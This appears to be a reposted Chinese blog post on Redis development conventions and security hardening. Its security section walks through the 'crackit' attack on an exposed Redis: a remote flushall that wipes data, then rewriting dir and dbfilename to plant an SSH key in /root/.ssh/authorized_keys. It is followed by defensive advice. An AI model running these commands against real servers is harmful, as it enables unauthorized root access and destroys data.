Java学习 - Redis开发规范与安全

news2024/10/6 8:31:13

开发规范

key设计
因素说明
键名可读性,可管理性业务名:表名:字段名
键名简洁性user:{uid}:friends:message:{mid}
简化为
u:{uid}🇫🇷m:{mid}
与embstr和raw有关
键名不包含特殊字符比如空格,制表符等,最好只有字母,数字和冒号
embstr和raw的区别
value设计
  • 核心:bigkey
项目说明
bigkey是什么没有统一的标准,不同场景对bigkey定义不同,比如:
string类型应控制在10kb,hash list set zset 元素不超过5000个
bigkey的危害网络阻塞,redis阻塞
集群节点数据不均匀,序列化和反序列化带来的CPU消耗
bigkey的发现应用端发现:发生比较大的延时
redis-cli --bigkeys命令:查看所有键值的大小
scan + debug object
通过改动redis源码,进行统计
bigkey的删除包括显式删除【del】和隐性删除【过期,rename】
因为redis是单线程的,所以bigkey的删除会导致redis阻塞
redis 4新增删除方法【lazy delete】,专门开一个新线程来删除bigkey,避免阻塞
hash的底层实现选择
  • 底层实现

    实现类型优点缺点
    ziplist占用空间少速度慢
    hashtable占用空间大速度快
  • ziplist参数

    • 当hash中的数据满足以下两个参数时,redis底层将采用ziplist方式存储
    • 支持动态 config set
    参数说明
    hash-max-ziplist-entries 512hash中field的个数
    hash-max-ziplist-value 64hash中value的大小【字节】
过期设计
  • 要定时清除redis中的数据,避免内存过多浪费

  • 不能集中地删除大量的数据,否则可能引起缓存雪崩或缓存穿透的问题

  • 以下命令可以找到每个键的闲置【没有被使用】的时间

    object idle time
    
客户端优化
  • 避免多个应用使用同一个redis,如果有必要,公共数据应该服务化
  • 应该使用连接池,避免频繁建立/销毁连接带来的性能损耗
连接池参数
  • 参数说明

    参数含义默认值使用建议
    maxTotal最大连接数8
    maxIdle最大空闲连接数8建议和maxTotal相同
    minIdle最少空闲连接数0
    blockWhenExhausted资源池用尽后,调用者是否等待true建议使用默认值,ture
    maxWaitMillis资源池用尽后,最大等待时间-1;永不超时不建议使用
    testOnBorrow获取连接时,是否做连接有效性检测【ping操作】false建议业务量大时,false
    多一次ping开销
    testOnReturn归还连接时,是否做连接有效性检测【ping操作】false建议业务量大时,false
    多一次ping开销
    jmxEnabled是否开启jmx监控true建议开启,true
    testWhileIdle是否开启空闲资源监控false建议开启,true
    timeBetweenEvictionRunsMillis空闲资源检测周期,单位毫秒-1;不检测建议使用
    minEvictableIdleTimeMillis资源池资源最小空闲时间;达到该值的空闲资源将被移除1000 60 30 = 30分钟建议默认值
    numTestsPerEvictionRun做空闲资源检测时,每次采样个数3
  • 参数经验

    • maxTotal:根据业务需要的redis并发量和客户端执行时间考虑
    • 避免应用个数(node) * maxTotal 超过 redis的最大连接数
其他使用技巧
  • O(N)的命令:明确N的数量,当N不大时可以使用
  • 禁用危险命令:通过rename-command禁止 keys flushall flushdb等危险命令
  • 合理使用select命令:客户端支持差,实际还是单线程,多数据库弱
  • 不要使用redis的事务:如果想实现事务,可以通过别的方式实现,redis事务不支持回滚
  • 不要长时间使用monitor命令

安全问题

案例 - 全球crackit攻击
  • 过程示意图

    在这里插入图片描述

  • 被攻击者存在问题

    • redis没有设置密码
    • redis可以通过公网ip访问
    • redis使用默认端口启动
    • redis没有绑定特定网卡
    • redis以root启动
  • 攻击流程

    • 攻击前尝试连接到被攻击者服务器

      >> ssh root@123.45.67.89 # 失败,因为你没有密钥,也没有ssh-keygen
      
    • 由于被攻击者外网开放,且使用默认端口,且没有限制网卡流量

      >> redis-cli -h 123.45.67.89 -p 6379 ping
      >> PONG
      >> redis-cli -h 123.16.14.182 -p 6379 flushall
      >> OK
      
    • 在攻击者服务器生成一个公钥,并将公钥保存到一个id_rsa.pub中

      >> ssh-keygen -C rsa -t "email@gmail"
      >> cat id_rsa.pub
      
    • 将公钥内容作为value添加到redis中

      >> redis-cli -h 123.45.67.89 -p 6379 -x set crackit
      >> redis-cli -h 123.45.67.89 -p 6379 get crackit
      
    • 将redis的dir设置为/root/.ssh目录,dbfilename设置为authorized_keys

      123.45.67.89:6379> config set dir /root/.ssh
      OK
      123.45.67.89:6379> config set dbfilename authorized_keys
      OK
      123.45.67.89:6379> save
      OK
      
    • 此时,因为被攻击者服务器上已经有了攻击者的公钥,即攻击者可以用ssh进行登录

安全七法则
  • 设置密码

    • 服务端配置:requirepass和masterauth
    • 客户端连接:auth命令和-a参数
    • 注意事项
      • 密码要足够复杂,因为redis性能太强,暴力破解比较简单
      • 不要忘记masterauth
      • auth是通过明文传输的,所以是有被盗窃的风险
  • 伪装危险命令

    • 原理:类似linux的alias,将一些命令重新起个名字

    • 实现:在配置文件中

      rename-command flushall abc
      
    • 注意事项

      • 不支持动态 config set
      • RDB或AOF如果包含有rename-command之前的命令,将无法使用
      • config命令本身在redis内核中会使用到,不建议重命名
  • 绑定网卡

    • 通过bind命令来限制redis可以接收的流量的网卡

    • 实现:在配置文件中

      bind 127.0.0.1
      
    • 注意事项:

      • bind不支持config set
      • bind 127.0.0.1要谨慎,因为这样做就只能接收到本机流量
      • 如果存在外网网卡就尽量屏蔽掉
  • 防火墙

    • 最强的,最安全的技术
  • 定期备份

    • 避免数据丢失,非常重要的措施
  • 不使用默认端口

    • 参考全球crackit攻击中使用默认端口6379启动redis而带来的危害
  • 使用非root用户启动

    • 参考全球crackit攻击中使用root启动redis而带来的危害

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1878557.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Lua】第三篇:基本变量类型介绍

文章目录 一. 变量类型介绍二. 基本知识三. 基本类型介绍1. 空类型(nil)2. 数值类型(number)3. 字符串类型(string)4. 布尔类型(boolean) 一. 变量类型介绍 Lua中一共有如下8中变量…

Linux:RAID磁盘阵列

目录 一、RAID(磁盘阵列) 1.1、概念 1.2、RAID 0(条带化存储) 1.3、RAID 1(镜像存储) 1.4、RAID 5 1.5、RAID 6 1.6、RAID 10 (先做镜像,再做条带) 二、创建RAID 2.1、建立RAID 0 …

利用 Docker 简化 Nacos 部署:快速搭建 Nacos 服务

利用 Docker 简化 Nacos 部署:快速搭建 Nacos 服务 引言 在微服务架构中,服务注册与发现是确保服务间通信顺畅的关键组件。Nacos(Dynamic Naming and Configuration Service)作为阿里巴巴开源的一个服务发现和配置管理平台&…

Spring事务及其传播机制(一)

目录 1.事务回顾 1.1什么是事务 1.2事务的四大重要特性(ACID) 1.3事务的操作 2.Spring中事务的实现 2.1编程式事务(了解) 2.2声明式事务Transactional 3.Transactional作用 3.1重新抛出异常 3.2手动回滚事务 1.事务回顾…

【Redis】SpringBoot连接Redis

1. 创建项目并配置文件 勾选NoSQL中的 Spring Data Redis。当然,把 Web 中的 SpringWeb 也勾选一下.方便写接口进行后续测试。 在 application.yml 中配置 2. 不同数据类型使用Demo 在SpringBoot中,为我们提供了StringRedisTemplate类,供我们处理一些文…

详细介绍MySQL的索引(上)

索引 索引概述 索引(index)是帮助MySQL高效获取数据的数据结构(有序)。在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用(指向数据,这样就可以在这些数据结构上实现高级查找算法,这种数据结…

VisualStudio2019受支持的.NET Core

1.VS Studio2019受支持的.NET Core? 适用于 Visual Studio 的 .NET SDK 下载 (microsoft.com) Visual Studio 2019 默认并不直接支持 .NET 6 及以上版本。要使用 .NET 6 或更高版本,你需要在 Visual Studio 2019 中采取额外步骤,比如安装相应…

<电力行业> - 《第9课:输电(二)》

4 输送电能流程 输送电能总共有:发电站→升压变压器→高压输电线→降压变压器→用电单位等五个流程。 电力工业初期,发电厂建在电力用户附近,直接向用户送电,所以那个时候只有发电和用电两个环节。 随着电力生产规模和负荷中心规…

QTreeView第一列自适应

通过setStretchLastSection(bool stretch)可以设置最后一列自适应,对于QTreeView,stretch默认为true。但有时候我们需要设置第一列自适应,比如文件浏览器,共有名称、大小和修改日期三列,大小和日期的宽度几乎是固定的,但名称却可长可短,此时我们希望在窗口大小变化时,第…

一元线性回归-R语言

# # 安装包 # install.packages(ggplot2) # library(ggplot2) Sys.setlocale(category LC_ALL, locale English_United States.1252) # Sys.setlocale("LC_ALL","Chinese") x <- c(18, 20, 22, 24, 26, 28, 30) y <- c(26.86, 28.35, 28.87,28.75,…

【源码+文档+调试讲解】actual self 服装店的设计与实现

摘 要 如今社会上各行各业&#xff0c;都喜欢用自己行业的专属软件工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。新技术的产生&#xff0c;往往能解决一些老技术的弊端问题。因为传统服装销售信息管理难度大&#xff0c;容错率低&#xff0c…

封装了一个iOS滚动厨窗效果

效果图 背景 我们要实现如图的厨窗效果&#xff0c;不能通过在tableView底部添加一个背景图片的方式&#xff0c;因为这需要修改整个tableView的背景色为透明&#xff0c;影响到的范围太大&#xff0c;只能将这个效果局限在这个cell 中&#xff0c;然后通过监听tableView的滚动…

Python应用开发——30天学习Streamlit Python包进行APP的构建(12)

st.checkbox 显示复选框部件。 Function signature[source] st.checkbox(label, valueFalse, keyNone, helpNone, on_changeNone, argsNone, kwargsNone, *, disabledFalse, label_visibility"visible") Returns (bool) Whether or not the checkbox is checked. …

认识100种电路之放大电路

在电子技术的广袤世界中&#xff0c;放大电路犹如一颗璀璨的明珠&#xff0c;发挥着至关重要的作用。那么&#xff0c;为什么电路需要放大&#xff1f;放大的原理又是什么&#xff1f;实现放大又需要用到哪些元器件以及数量如何呢&#xff1f;接着往下看&#xff0c;会解开你的…

leetCode.93. 复原 IP 地址

leetCode.93. 复原 IP 地址 题目思路&#xff1a; 代码 // 前导零的判断方法&#xff1a;如果第一个数是0&#xff0c;且第二个数还有数据&#xff0c;那就是前导0&#xff0c;要排除的 // 注意跟单个 0 区分开 class Solution { public:vector<string> res;vector<…

redis实战-缓存雪崩问题及解决方案

定义理解 缓存雪崩是指在同一时间段&#xff0c;大量缓存的key同时失效&#xff0c;或者Redis服务宕机&#xff0c;导致大量请求到达数据库&#xff0c;带来巨大压力 和缓存击穿的区别&#xff1a; 缓存雪崩是由于缓存中的大量数据同时失效或缓存服务器故障引起的&#xff1b…

ESP32-C3模组上跑通MQTT(6)—— tcp例程(1)

接前一篇文章:ESP32-C3模组上跑通MQTT(5) 《ESP32-C3 物联网工程开发实战》 一分钟了解MQTT协议 ESP32 MQTT API指南-CSDN博客 ESP-IDF MQTT 示例入门_mqtt outbox-CSDN博客 ESP32用自签CA进行MQTT的TLS双向认证通信_esp32 mqtt ssl-CSDN博客 特此致谢! 本回开始正式讲…

python进阶函数

目录 函数多返回值函数多种传参方式匿名函数 函数多返回值 问&#xff1a;如果一个函数如些两个return&#xff08;如下所示&#xff09;&#xff0c;程序如何执行&#xff1f; def return_num():return 1return 2result return_num() print(result)答&#xff1a;只执行了第…

玩游戏就能学习亚马逊云科技AWS技术并通过热门技术认证考试??

亚马逊AWS限时活动&#xff0c;玩免费游戏Cloud Quest Practitioner送AWS云从业证书考试25%折扣券(价值171元)&#xff0c;玩游戏的同时还能学知识一举两得。Cloud Quest是AWS出的一款3D角色扮演游戏/虚拟城市建造形式的实验课程(游戏画面有点像天际线)&#xff0c;大家通过完成…

uniapp启动页面鉴权页面闪烁问题

在使用uni-app开发app 打包完成后如果没有token&#xff0c;那么就在onLaunch生命周期里面判断用户是否登录并跳转至登录页。 但是在app中页面会先进入首页然后再跳转至登录页&#xff0c;十分影响体验。 处理方法&#xff1a; 使用plus.navigator.closeSplashscreen() 官网…